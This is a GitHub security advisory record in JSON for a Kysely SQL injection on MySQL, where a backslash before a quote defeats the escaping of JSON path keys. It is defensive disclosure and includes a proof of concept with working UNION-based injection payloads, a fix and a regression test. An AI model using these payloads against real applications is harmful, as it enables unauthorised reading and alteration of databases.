{"id":"GHSA-fr9j-6mvq-frcv","summary":"Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.","details":"## Summary\n\nThe `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.\n\n## Details\n\nWhen a user calls `.key(value)` on a JSON path builder, the value flows through:\n\n1. `JSONPathBuilder.key(key)` at `src/query-builder/json-path-builder.ts:166` stores the key as a `JSONPathLegNode` with type `'Member'`.\n\n2. During compilation, `DefaultQueryCompiler.visitJSONPath()` at `src/query-compiler/default-query-compiler.ts:1609` wraps the full path in single quotes (`'$...'`).\n\n3. `DefaultQueryCompiler.visitJSONPathLeg()` at `src/query-compiler/default-query-compiler.ts:1623` calls `sanitizeStringLiteral(node.value)` for string values (line 1630).\n\n4. `sanitizeStringLiteral()` at `src/query-compiler/default-query-compiler.ts:1819-1821` only doubles single quotes:\n\n```typescript\n// src/query-compiler/default-query-compiler.ts:121\nconst LIT_WRAP_REGEX = /'/g\n\n// src/query-compiler/default-query-compiler.ts:1819-1821\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"''\")\n}\n```\n\nThe `MysqlQueryCompiler` does not override `sanitizeStringLiteral` — it only overrides `sanitizeIdentifier` for backtick escaping.\n\n**The bypass mechanism:**\n\nIn MySQL's default `BACKSLASH_ESCAPES` mode, `\\'` inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input `\\' OR 1=1 --`:\n\n1. `sanitizeStringLiteral` sees the `'` and doubles it: `\\'' OR 1=1 --`\n2. The full compiled path becomes: `'$.\\'' OR 1=1 --'`\n3. MySQL parses `\\'` as an escaped quote character (consuming the first `'` of the doubled pair)\n4. The second `'` now terminates the string literal\n5. ` OR 1=1 --` is parsed as SQL, achieving injection\n\nThe existing test at `test/node/src/sql-injection.test.ts:61-83` only tests single-quote injection (`first' as ...`), which the `''` doubling correctly prevents. It does not test the backslash bypass vector.\n\n## PoC\n\n```javascript\nimport { Kysely, MysqlDialect } from 'kysely'\nimport { createPool } from 'mysql2'\n\nconst db = new Kysely({\n  dialect: new MysqlDialect({\n    pool: createPool({\n      host: 'localhost',\n      user: 'root',\n      password: 'password',\n      database: 'testdb',\n    }),\n  }),\n})\n\n// Setup: create a table with JSON data\nawait sql`CREATE TABLE IF NOT EXISTS users (\n  id INT PRIMARY KEY AUTO_INCREMENT,\n  data JSON\n)`.execute(db)\n\nawait sql`INSERT INTO users (data) VALUES ('{\"role\":\"admin\",\"secret\":\"s3cret\"}')`.execute(db)\n\n// Attack: backslash escape bypass in .key()\n// An application that passes user input to .key():\nconst userInput = \"\\\\' OR 1=1) UNION SELECT data FROM users -- \" // as never\n\nconst query = db\n  .selectFrom('users')\n  .select((eb) =\u003e\n    eb.ref('data', '-\u003e$').key(userInput as never).as('result')\n  )\n\nconsole.log(query.compile().sql)\n// Produces: select `data`-\u003e'$.\\\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`\n// MySQL interprets \\' as escaped quote, breaking out of the string literal\n\nconst results = await query.execute()\nconsole.log(results) // Returns injected query results\n```\n\n**Simplified verification of the bypass mechanics:**\n\n```javascript\nconst { Kysely, MysqlDialect } = require('kysely')\n\n// Even without executing, the compiled SQL demonstrates the vulnerability:\nconst compiled = db\n  .selectFrom('users')\n  .select((eb) =\u003e\n    eb.ref('data', '-\u003e$').key(\"\\\\' OR 1=1 --\" as never).as('x')\n  )\n  .compile()\n\nconsole.log(compiled.sql)\n// select `data`-\u003e'$.\\'' OR 1=1 --' as `x` from `users`\n//                  ^^ MySQL sees this as escaped quote\n//                    ^ This quote now terminates the string\n//                      ^^^^^^^^^^^ Injected SQL\n```\n\n**Note:** PostgreSQL is unaffected because `standard_conforming_strings=on` (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default `BACKSLASH_ESCAPES` mode are vulnerable.\n\n## Impact\n\n- **SQL Injection:** An attacker who can control values passed to the `.key()` JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.\n- **Data Exfiltration:** Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.\n- **Data Modification/Deletion:** If the application's database user has write permissions, stacked queries (when enabled via `multipleStatements: true`) or subquery-based injection can modify or delete data.\n- **Full Database Compromise:** Depending on MySQL user privileges, the attacker could potentially execute administrative operations.\n- **Scope:** Any application using Kysely with MySQL that passes user-controlled input to `.key()`, `.at()`, or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.\n\n## Recommended Fix\n\nEscape backslashes in addition to single quotes in `sanitizeStringLiteral`. This neutralizes the bypass in MySQL's `BACKSLASH_ESCAPES` mode:\n\n```typescript\n// src/query-compiler/default-query-compiler.ts\n\n// Change the regex to also match backslashes:\nconst LIT_WRAP_REGEX = /['\\\\]/g\n\n// Update sanitizeStringLiteral:\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, (match) =\u003e match === '\\\\' ? '\\\\\\\\' : \"''\")\n}\n```\n\nWith this fix, the input `\\' OR 1=1 --` becomes `\\\\'' OR 1=1 --`, where MySQL parses `\\\\` as a literal backslash, `''` as an escaped quote, and the string literal is never terminated.\n\nAlternatively, the MySQL-specific compiler could override `sanitizeStringLiteral` to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:\n\n```typescript\n// src/dialect/mysql/mysql-query-compiler.ts\nprotected override sanitizeStringLiteral(value: string): string {\n  return value.replace(/['\\\\]/g, (match) =\u003e match === '\\\\' ? '\\\\\\\\' : \"''\")\n}\n```\n\nA corresponding test should be added to `test/node/src/sql-injection.test.ts`:\n\n```typescript\nit('should not allow SQL injection via backslash escape in $.key JSON paths', async () =\u003e {\n  const injection = `\\\\' OR 1=1 -- ` as never\n\n  const query = ctx.db\n    .selectFrom('person')\n    .select((eb) =\u003e eb.ref('first_name', '-\u003e$').key(injection).as('x'))\n\n  await ctx.db.executeQuery(query)\n  await assertDidNotDropTable(ctx, 'person')\n})\n```","aliases":["CVE-2026-33442"],"modified":"2026-03-27T21:18:51.182705Z","published":"2026-03-20T20:48:33Z","database_specific":{"github_reviewed_at":"2026-03-20T20:48:33Z","nvd_published_at":"2026-03-26T17:16:40Z","severity":"HIGH","cwe_ids":["CWE-89"],"github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/kysely-org/kysely/security/advisories/GHSA-fr9j-6mvq-frcv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33442"},{"type":"PACKAGE","url":"https://github.com/kysely-org/kysely"}],"affected":[{"package":{"name":"kysely","ecosystem":"npm","purl":"pkg:npm/kysely"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.28.12"},{"fixed":"0.28.14"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-fr9j-6mvq-frcv/GHSA-fr9j-6mvq-frcv.json","last_known_affected_version_range":"\u003c= 0.28.13"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}